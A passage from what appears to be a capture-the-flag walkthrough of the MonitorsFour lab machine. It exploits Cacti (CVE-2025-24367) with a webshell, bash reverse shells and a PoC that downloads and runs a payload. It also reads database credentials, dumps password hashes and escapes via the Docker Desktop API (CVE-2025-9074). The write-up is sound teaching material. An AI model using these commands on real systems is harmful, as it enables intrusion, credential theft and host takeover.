uid=33(www-data) gid=33(www-data) groups=33(www-data)"
1779018000,"NaN"
</span></code></pre></div></div>

<p>That’s RCE!</p>

<h4 id="shell">Shell</h4>

<p>To get a full shell, I’ll use a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a> from the webshell:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl http://cacti.monitorsfour.htb/cacti/shell.php <span class="nt">--data-urlencode</span> <span class="s1">'c=bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.61/443 0&gt;&amp;1"'</span>
</code></pre></div></div>

<p>This just hangs, but at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.67.15 51839
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">www-data@821fbd6a43fa:~/html/cacti$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~/html/cacti$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, output log file is '/dev/null'.
</span><span class="gp">www-data@821fbd6a43fa:~/html/cacti$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">www-data@821fbd6a43fa:~/html/cacti$</span><span class="w">
</span></code></pre></div></div>

<h4 id="script">Script</h4>

<p>There’s a <a href="https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC">POC for CVE-2025-24367</a> from one of the co-authors of MonitorsFour, TheCyberGeek. I’ll clone the repo and give it a run. It requires <code class="language-plaintext highlighter-rouge">requests</code> and <code class="language-plaintext highlighter-rouge">beautifulsoup4</code>, so I’ll add those with the <code class="language-plaintext highlighter-rouge">--with</code> parameter to <code class="language-plaintext highlighter-rouge">uv</code>:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
<span class="go">Cloning into 'CVE-2025-24367-Cacti-PoC'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 1), reused 2 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 6.63 KiB | 616.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests,beautifulsoup4 exploit.py
<span class="go">usage: CVE-2025-24367 - Cacti Authenticated Graph Template RCE [-h] -u USER -p PASSWORD -i IP -l PORT -url URL [--proxy]
CVE-2025-24367 - Cacti Authenticated Graph Template RCE: error: the following arguments are required: -u/--user, -p/--password, -i/--ip, -l/--port, -url/--url
</span></code></pre></div></div>

<p>This script walks through the steps I show manually above, and is very reliable. The script avoids the character issues by running the exploit twice. The first time, it creates a PHP file that runs <code class="language-plaintext highlighter-rouge">curl</code> to fetch a payload from the given IP and save it to disk in a file named <code class="language-plaintext highlighter-rouge">bash</code>:</p>

<div class="language-python wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sa">f</span><span class="sh">"</span><span class="s">DEF:out=my.rrd:temp:AVERAGE LINE1:out:&lt;?=`curl</span><span class="se">\\</span><span class="s">x20</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">/bash</span><span class="se">\\</span><span class="s">x20-o</span><span class="se">\\</span><span class="s">x20bash`;?&gt;</span><span class="se">\n</span><span class="sh">"</span>
</code></pre></div></div>

<p>The second run executes that file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sa">f</span><span class="sh">"</span><span class="s">DEF:out=my.rrd:temp:AVERAGE LINE1:out:&lt;?=`bash</span><span class="se">\\</span><span class="s">x20bash`;?&gt;</span><span class="se">\n</span><span class="sh">"</span>
</code></pre></div></div>

<p>The script manages creating an HTTP server on 80 (hardcoded, so it must run as root or in a process with capabilities required to listen on a low port). The payload is a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sh">"""</span><span class="s">
Write bash payload
</span><span class="sh">"""</span>
<span class="k">def</span> <span class="nf">write_payload</span><span class="p">(</span><span class="n">ip</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">port</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">"</span><span class="s">bash</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">w</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">#!/bin/bash</span><span class="se">\n</span><span class="s">bash -i &gt;&amp; /dev/tcp/</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s"> 0&gt;&amp;1</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
</code></pre></div></div>

<p>I’ll run this against the target:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests,beautifulsoup4 exploit.py <span class="nt">-u</span> marcus <span class="nt">-p</span> wonderful1 <span class="nt">-i</span> 10.10.14.61 <span class="nt">-l</span> 443 <span class="nt">--url</span> http://cacti.monitorsfour.htb
<span class="go">[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: f4y40.php
[+] Got payload: /bash
[i] Created PHP filename: QsbRz.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80
</span></code></pre></div></div>

<p>It creates the first PHP file to fetch the rev shell, and then the second one to run it. Then there’s a shell at my listener:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.67.15 49167
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">www-data@821fbd6a43fa:~/html/cacti$</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-root-on-wsl">Shell as root on WSL</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="container">Container</h4>

<p>The hostname of the box is 821fbd6a43fa, which matches the expected names for default Docker containers. There’s also a <code class="language-plaintext highlighter-rouge">.dockerenv</code> file in <code class="language-plaintext highlighter-rouge">/</code>. <code class="language-plaintext highlighter-rouge">ifconfig</code> isn’t installed, but <code class="language-plaintext highlighter-rouge">ip addr</code> shows a 172.18.0.0/16 IP:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/$</span><span class="w"> </span>ifconfig
<span class="go">ifconfig
bash: ifconfig: command not found
</span><span class="gp">www-data@821fbd6a43fa:/$</span><span class="w"> </span>ip addr
<span class="go">ip addr
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo 
       valid_lft forever preferred_lft forever
2: eth0@if7: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default 
    link/ether d6:1e:b2:dd:f2:a3 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever
</span></code></pre></div></div>

<p>This is a Docker container.</p>

<h4 id="users">Users</h4>

<p>The marcus user does have a directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~$</span><span class="w"> </span><span class="nb">ls</span> /home/
<span class="go">marcus
</span></code></pre></div></div>

<p>It’s world accessible and I can read <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/home/marcus$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">f9451c0f************************
</span></code></pre></div></div>

<p>Only marcus and root have shells set in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
marcus:x:1000:1000::/home/marcus:/bin/bash
</span></code></pre></div></div>

<p>There’s nothing else interesting in marcus’ home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/home/marcus$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 28
drwxr-xr-x 1 marcus marcus 4096 May 18 15:09 .
drwxr-xr-x 1 root   root   4096 Nov 10  2025 ..
-rw-r--r-- 1 marcus marcus  220 Jul 30  2025 .bash_logout
-rw-r--r-- 1 marcus marcus 3526 Jul 30  2025 .bashrc
-rw-r--r-- 1 marcus marcus  807 Jul 30  2025 .profile
-r-xr-xr-x 1 root   root     34 May 18 15:06 user.txt
</span></code></pre></div></div>

<h4 id="web">Web</h4>

<p>www-data’s home directory is <code class="language-plaintext highlighter-rouge">/var/www</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~$</span><span class="w"> </span><span class="nb">pwd</span>
<span class="go">/var/www
</span></code></pre></div></div>

<p>This directory is setup as:</p>

<div style="background: #1c2128; border: 1px solid #444c56; border-radius: 6px; padding: 16px; font-family: monospace; font-size: 14px; color: #e6edf3; margin: 16px 0; overflow-x: auto;"><div style="white-space: nowrap;">📁 /var/www/</div><div style="white-space: nowrap;"><span style="display: inline-block; min-width: 220px;"><span style="color: #8b949e; white-space: pre;">├── </span>📁 app/</span><span style="color: #6e7681;"># monitorsfour.htb</span></div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">│   ├── </span>📄 Router.php</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">│   ├── </span>📁 controllers/</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">│   ├── </span>📄 index.php</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">│   ├── </span>📁 static/</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">│   └── </span>📁 views/</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">└── </span>📁 html/</div><div style="white-space: nowrap;"><span style="display: inline-block; min-width: 220px;"><span style="color: #8b949e; white-space: pre;">    ├── </span>📁 cacti/</span><span style="color: #6e7681;"># cacti.monitorsfour.htb</span></div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">    ├── </span>📄 index.nginx-debian.html</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">    └── </span>📄 index.php</div></div>

<p>The database creds are in <code class="language-plaintext highlighter-rouge">/var/www/app/.env</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DB_HOST</span><span class="o">=</span>mariadb
<span class="nv">DB_PORT</span><span class="o">=</span>3306
<span class="nv">DB_NAME</span><span class="o">=</span>monitorsfour_db
<span class="nv">DB_USER</span><span class="o">=</span>monitorsdbuser
<span class="nv">DB_PASS</span><span class="o">=</span>f37p2j8f4t0r
</code></pre></div></div>

<p>The Cacti ones are in <code class="language-plaintext highlighter-rouge">/var/www/html/cacti/include/config.php</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mf">...</span><span class="p">[</span><span class="n">snip</span><span class="p">]</span><span class="mf">...</span>
<span class="nv">$database_type</span>     <span class="o">=</span> <span class="s1">'mysql'</span><span class="p">;</span>                                      
<span class="nv">$database_default</span>  <span class="o">=</span> <span class="s1">'cacti'</span><span class="p">;</span>                                      
<span class="nv">$database_hostname</span> <span class="o">=</span> <span class="s1">'mariadb'</span><span class="p">;</span>                                    
<span class="nv">$database_username</span> <span class="o">=</span> <span class="s1">'cactidbuser'</span><span class="p">;</span>                                
<span class="nv">$database_password</span> <span class="o">=</span> <span class="s1">'7pyrf6ly8qx4'</span><span class="p">;</span>          
<span class="nv">$database_port</span>     <span class="o">=</span> <span class="s1">'3306'</span><span class="p">;</span>                                       
<span class="nv">$database_retries</span>  <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>                                            
<span class="nv">$database_ssl</span>      <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>   
<span class="nv">$database_ssl_key</span>  <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>                                           
<span class="nv">$database_ssl_cert</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>                                           
<span class="nv">$database_ssl_ca</span>   <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>                                           
<span class="nv">$database_persist</span>  <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="mf">...</span><span class="p">[</span><span class="n">snip</span><span class="p">]</span><span class="mf">...</span>
</code></pre></div></div>

<p>Both of these point to another host named mariadb.</p>

<p>I can connect, but the <code class="language-plaintext highlighter-rouge">monitorsfour_db</code> doesn’t have anything useful (I dumped the users earlier). The Cacti DB does have some hashes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [cacti]&gt;</span><span class="w"> </span><span class="k">select</span> <span class="n">username</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="n">full_name</span> <span class="k">from</span> <span class="n">user_auth</span><span class="p">;</span>
<span class="go">+----------+--------------------------------------------------------------+---------------+
| username | password                                                     | full_name     |
+----------+--------------------------------------------------------------+---------------+
| admin    | $2y$10$wqlo06C4isr4q9xhqI/UQOpyM/n8EDzYl/GndqhDh/2LQihzPdHWO | Administrator |
| guest    | 43e9a4ab75570f5b                                             | Guest Account |
| marcus   | $2y$10$bPWlnZYLhoDUawu4x8vLAuCIaDbqIUe4s9t9HqFm/1gtbavD/eKGe | Marcus Haynes |
+----------+--------------------------------------------------------------+---------------+
3 rows in set (0.001 sec)
</span></code></pre></div></div>

<p>The guest account hash is broken. I’ll pass the other two to <code class="language-plaintext highlighter-rouge">hashcat</code>, but it only finds marcus’s password of “wonderful1” (which I already found <a href="#crack-password">above</a>).</p>

<h4 id="network">Network</h4>

<p>The DB configs reference “mariadb”. This is almost certainly available via Docker’s embedded DNS. I’ll get the IP with <code class="language-plaintext highlighter-rouge">getent</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~$</span><span class="w"> </span>getent hosts mariadb 
<span class="go">172.18.0.2      mariadb
</span></code></pre></div></div>

<p>No other hosts show up in the arp cache:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~$</span><span class="w"> </span><span class="nb">cat</span> /proc/net/arp
<span class="go">IP address       HW type     Flags       HW address            Mask     Device
172.18.0.1       0x1         0x2         96:2a:12:dc:b9:c4     *        eth0
172.18.0.2       0x1         0x2         9e:57:4d:1b:71:29     *        eth0
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ping</code> isn’t installed, but I can use <code class="language-plaintext highlighter-rouge">getent</code> to sweep at least the local class C:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:~$</span><span class="w"> </span><span class="nb">seq </span>1 255 | xargs <span class="nt">-I</span><span class="o">{}</span> <span class="nt">-P</span> 255 sh <span class="nt">-c</span> <span class="s1">'getent hosts 172.18.0.{}'</span>
<span class="go">172.18.0.2      mariadb.docker_setup_default
172.18.0.3      821fbd6a43fa
</span></code></pre></div></div>

<p>Nothing else interesting there.</p>

<p>There’s an interesting hint in the <code class="language-plaintext highlighter-rouge">/etc/resolv.conf</code> file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Generated by Docker Engine.</span>
<span class="c"># This file can be edited; Docker Engine will not make further changes once it</span>
<span class="c"># has been modified.</span>

nameserver 127.0.0.11
options ndots:0

<span class="c"># Based on host file: '/etc/resolv.conf' (internal resolver)</span>
<span class="c"># ExtServers: [host(192.168.65.7)]</span>
<span class="c"># Overrides: []</span>
<span class="c"># Option ndots from: internal</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">nameserver</code> is 127.0.0.11, which is Docker’s internal listener. There’s also a comment mentioning <code class="language-plaintext highlighter-rouge">ExtServers</code>, and listing 192.168.65.7. That’s the upstream DNS server that Docker’s embedded resolver forwards external queries to. It’s not something I reach directly from the container, but a hint as to what’s running the Docker container.</p>

<p>The 192.168.65.0/24 range is also a standard internal network for Docker Desktop (Mac/Windows). Seeing it here means the box is running Docker Desktop rather than plain dockerd on Linux, which makes sense on this machine that’s labeled as Windows, and the <a href="#authenticated-site-access">admin panel changelog mentioned</a> they were running Docker Desktop 4.44.2.</p>

<p>I’ll upload a <a href="https://github.com/opsec-infosec/nmap-static-binaries">static copy</a> of <code class="language-plaintext highlighter-rouge">nmap</code> to scan, as well as copies of <code class="language-plaintext highlighter-rouge">/etc/services</code> named to <code class="language-plaintext highlighter-rouge">nmap-services</code>, and <code class="language-plaintext highlighter-rouge">/usr/share/nmap/nmap-protocols</code> from my VM. I’ll set my <code class="language-plaintext highlighter-rouge">--datadir</code> to point to where both of those live. I shouldn’t be able to route traffic to 192.168.65.7, but in this case I can:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/tmp$</span><span class="w"> </span>./nmap <span class="nt">--datadir</span> /tmp/ <span class="nt">-p-</span> <span class="nt">--min-rate</span> 10000 192.168.65.7
<span class="go">Starting Nmap 7.93SVN ( https://nmap.org ) at 2026-05-18 22:11 UTC
Nmap scan report for 192.168.65.7
Host is up (0.00081s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  unknown
2375/tcp open  unknown
3128/tcp open  unknown
5555/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds
</span></code></pre></div></div>

<p>I don’t have any NSE scripts available, but that’s interesting! 2375 is the Docker daemon API.</p>

<h3 id="cve-2025-9074-background">CVE-2025-9074 Background</h3>

<p>Searching for vulnerabilities / exploits in this version of Docker desktop shows a bunch of issues:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260518175718807.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260518175718807.png" alt="image-20260518175718807" class="include_image " />
</picture>

<p>It’s really just one issue, from August 2025. (There’s also a macOS attack from February 2026, two months after MonitorsFour released).</p>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-9074">CVE-2025-9074</a> as:</p>

<blockquote>
  <p>A vulnerability was identified in Docker Desktop that allows local running Linux containers to access the Docker Engine API via the configured Docker subnet, at 192.168.65.7:2375 by default. This vulnerability occurs with or without Enhanced Container Isolation (ECI) enabled, and with or without the “Expose daemon on tcp://localhost:2375 without TLS” option enabled. This can lead to execution of a wide range of privileged commands to the engine API, including controlling other containers, creating new ones, managing images etc. In some circumstances (e.g. Docker Desktop for Windows with WSL backend) it also allows mounting the host drive with the same privileges as the user running Docker Desktop.</p>
</blockquote>

<p>The issue is just what I identified above, that I can reach the Docker daemon from within the container.</p>

<p>The researcher who identified this wrote a <a href="https://blog.qwertysecurity.com/Articles/blog3">blog post</a> about it, and gives this POC at the end:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget <span class="nt">--header</span><span class="o">=</span><span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
<span class="nt">--post-data</span><span class="o">=</span><span class="s1">'{"Image":"alpine","Cmd":["sh","-c","echo pwned &gt; /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'</span> <span class="se">\</span>
<span class="nt">-O</span> - http://192.168.65.7:2375/containers/create <span class="o">&gt;</span> create.json
<span class="nv">cid</span><span class="o">=</span><span class="si">$(</span><span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'"'</span> <span class="nt">-f4</span> create.json<span class="si">)</span>
wget <span class="nt">--post-data</span><span class="o">=</span><span class="s1">''</span> <span class="nt">-O</span> - http://192.168.65.7:2375/containers/<span class="nv">$cid</span>/start
</code></pre></div></div>

<p>This is two HTTP requests with <code class="language-plaintext highlighter-rouge">wget</code>, with one line of <code class="language-plaintext highlighter-rouge">bash</code> in between:</p>

<ol>
  <li>Builds a spec for a container and registers it with the API, saving the results as <code class="language-plaintext highlighter-rouge">create.json</code>.</li>
  <li>Uses <code class="language-plaintext highlighter-rouge">cut</code> to get the container id from the resulting file.</li>
  <li>Starts that container.</li>
</ol>

<p>The container is configured to mount <code class="language-plaintext highlighter-rouge">/mnt/host/c</code> as <code class="language-plaintext highlighter-rouge">/host_root</code> in the container, and then write a file to it.</p>

<h3 id="enumerate-docker-api">Enumerate Docker API</h3>

<p>Hitting the raw API with <code class="language-plaintext highlighter-rouge">curl</code> returns JSON:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/$</span><span class="w"> </span>curl 192.168.65.7:2375
<span class="go">{"message":"page not found"}
</span></code></pre></div></div>

<p>This matches the <a href="https://docs.docker.com/reference/api/engine/version/v1.54/#section/Errors">documentation</a> for errors for the Docker API.</p>

<p><code class="language-plaintext highlighter-rouge">/info</code> dumps a lot of information:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/$</span><span class="w"> </span>curl 192.168.65.7:2375/info
<span class="go">{"ID":"e9938dea-4226-47b1-9455-ca938cb3e01a","Containers":2,"ContainersRunning":2,"ContainersPaused":0,"ContainersStopped":0,"Images":3,"Driver":"overlayfs","DriverStatus":[["driver-type","io.containerd.snapshotter.v1"]],"Plugins":{"Volume":["local"],"Network":["bridge","host","ipvlan","macvlan","null","overlay"],"Authorization":null,"Log":["awslogs","fluentd","gcplogs","gelf","journald","json-file","local","splunk","syslog"]},"MemoryLimit":true,"SwapLimit":true,"CpuCfsPeriod":true,"CpuCfsQuota":true,"CPUShares":true,"CPUSet":true,"PidsLimit":true,"IPv4Forwarding":true,"Debug":false,"NFd":78,"OomKillDisable":false,"NGoroutines":108,"SystemTime":"2026-05-19T10:33:27.763612346Z","LoggingDriver":"json-file","CgroupDriver":"cgroupfs","CgroupVersion":"2","NEventsListener":12,"KernelVersion":"6.6.87.2-microsoft-standard-WSL2","OperatingSystem":"Docker Desktop","OSVersion":"","OSType":"linux","Architecture":"x86_64","IndexServerAddress":"https://index.docker.io/v1/","RegistryConfig":{"IndexConfigs":{"docker.io":{"Mirrors":[],"Name":"docker.io","Official":true,"Secure":true},"hubproxy.docker.internal:5555":{"Mirrors":[],"Name":"hubproxy.docker.internal:5555","Official":false,"Secure":false}},"InsecureRegistryCIDRs":["::1/128","127.0.0.0/8"],"Mirrors":null},"NCPU":2,"MemTotal":1995177984,"GenericResources":null,"DockerRootDir":"/var/lib/docker","HttpProxy":"http.docker.internal:3128","HttpsProxy":"http.docker.internal:3128","NoProxy":"hubproxy.docker.internal","Name":"docker-desktop","Labels":[],"ExperimentalBuild":false,"ServerVersion":"28.3.2","Runtimes":{"io.containerd.runc.v2":{"path":"runc","status":{"org.opencontainers.runtime-spec.features":"{\"ociVersionMin\":\"1.0.0\",\"ociVersionMax\":\"1.2.0\",\"hooks\":[\"prestart\",\"createRuntime\",\"createContainer\",\"startContainer\",\"poststart\",\"poststop\"],\"mountOptions\":[\"async\",\"atime\",\"bind\",\"defaults\",\"dev\",\"diratime\",\"dirsync\",\"exec\",\"iversion\",\"lazytime\",\"loud\",\"mand\",\"noatime\",\"nodev\",\"nodiratime\",\"noexec\",\"noiversion\",\"nolazytime\",\"nomand\",\"norelatime\",\"nostrictatime\",\"nosuid\",\"nosymfollow\",\"private\",\"ratime\",\"rbind\",\"rdev\",\"rdiratime\",\"relatime\",\"remount\",\"rexec\",\"rnoatime\",\"rnodev\",\"rnodiratime\",\"rnoexec\",\"rnorelatime\",\"rnostrictatime\",\"rnosuid\",\"rnosymfollow\",\"ro\",\"rprivate\",\"rrelatime\",\"rro\",\"rrw\",\"rshared\",\"rslave\",\"rstrictatime\",\"rsuid\",\"rsymfollow\",\"runbindable\",\"rw\",\"shared\",\"silent\",\"slave\",\"strictatime\",\"suid\",\"symfollow\",\"sync\",\"tmpcopyup\",\"unbindable\"],\"linux\":{\"namespaces\":[\"cgroup\",\"ipc\",\"mount\",\"network\",\"pid\",\"time\",\"user\",\"uts\"],\"capabilities\":[\"CAP_CHOWN\",\"CAP_DAC_OVERRIDE\",\"CAP_DAC_READ_SEARCH\",\"CAP_FOWNER\",\"CAP_FSETID\",\"CAP_KILL\",\"CAP_SETGID\",\"CAP_SETUID\",\"CAP_SETPCAP\",\"CAP_LINUX_IMMUTABLE\",\"CAP_NET_BIND_SERVICE\",\"CAP_NET_BROADCAST\",\"CAP_NET_ADMIN\",\"CAP_NET_RAW\",\"CAP_IPC_LOCK\",\"CAP_IPC_OWNER\",\"CAP_SYS_MODULE\",\"CAP_SYS_RAWIO\",\"CAP_SYS_CHROOT\",\"CAP_SYS_PTRACE\",\"CAP_SYS_PACCT\",\"CAP_SYS_ADMIN\",\"CAP_SYS_BOOT\",\"CAP_SYS_NICE\",\"CAP_SYS_RESOURCE\",\"CAP_SYS_TIME\",\"CAP_SYS_TTY_CONFIG\",\"CAP_MKNOD\",\"CAP_LEASE\",\"CAP_AUDIT_WRITE\",\"CAP_AUDIT_CONTROL\",\"CAP_SETFCAP\",\"CAP_MAC_OVERRIDE\",\"CAP_MAC_ADMIN\",\"CAP_SYSLOG\",\"CAP_WAKE_ALARM\",\"CAP_BLOCK_SUSPEND\",\"CAP_AUDIT_READ\",\"CAP_PERFMON\",\"CAP_BPF\",\"CAP_CHECKPOINT_RESTORE\"],\"cgroup\":{\"v1\":true,\"v2\":true,\"systemd\":true,\"systemdUser\":true,\"rdma\":true},\"seccomp\":{\"enabled\":true,\"actions\":[\"SCMP_ACT_ALLOW\",\"SCMP_ACT_ERRNO\",\"SCMP_ACT_KILL\",\"SCMP_ACT_KILL_PROCESS\",\"SCMP_ACT_KILL_THREAD\",\"SCMP_ACT_LOG\",\"SCMP_ACT_NOTIFY\",\"SCMP_ACT_TRACE\",\"SCMP_ACT_TRAP\"],\"operators\":[\"SCMP_CMP_EQ\",\"SCMP_CMP_GE\",\"SCMP_CMP_GT\",\"SCMP_CMP_LE\",\"SCMP_CMP_LT\",\"SCMP_CMP_MASKED_EQ\",\"SCMP_CMP_NE\"],\"archs\":[\"SCMP_ARCH_AARCH64\",\"SCMP_ARCH_ARM\",\"SCMP_ARCH_MIPS\",\"SCMP_ARCH_MIPS64\",\"SCMP_ARCH_MIPS64N32\",\"SCMP_ARCH_MIPSEL\",\"SCMP_ARCH_MIPSEL64\",\"SCMP_ARCH_MIPSEL64N32\",\"SCMP_ARCH_PPC\",\"SCMP_ARCH_PPC64\",\"SCMP_ARCH_PPC64LE\",\"SCMP_ARCH_RISCV64\",\"SCMP_ARCH_S390\",\"SCMP_ARCH_S390X\",\"SCMP_ARCH_X32\",\"SCMP_ARCH_X86\",\"SCMP_ARCH_X86_64\"],\"knownFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"],\"supportedFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"]},\"apparmor\":{\"enabled\":true},\"selinux\":{\"enabled\":true},\"intelRdt\":{\"enabled\":true},\"mountExtensions\":{\"idmap\":{\"enabled\":true}}},\"annotations\":{\"io.github.seccomp.libseccomp.version\":\"2.5.4\",\"org.opencontainers.runc.checkpoint.enabled\":\"true\",\"org.opencontainers.runc.commit\"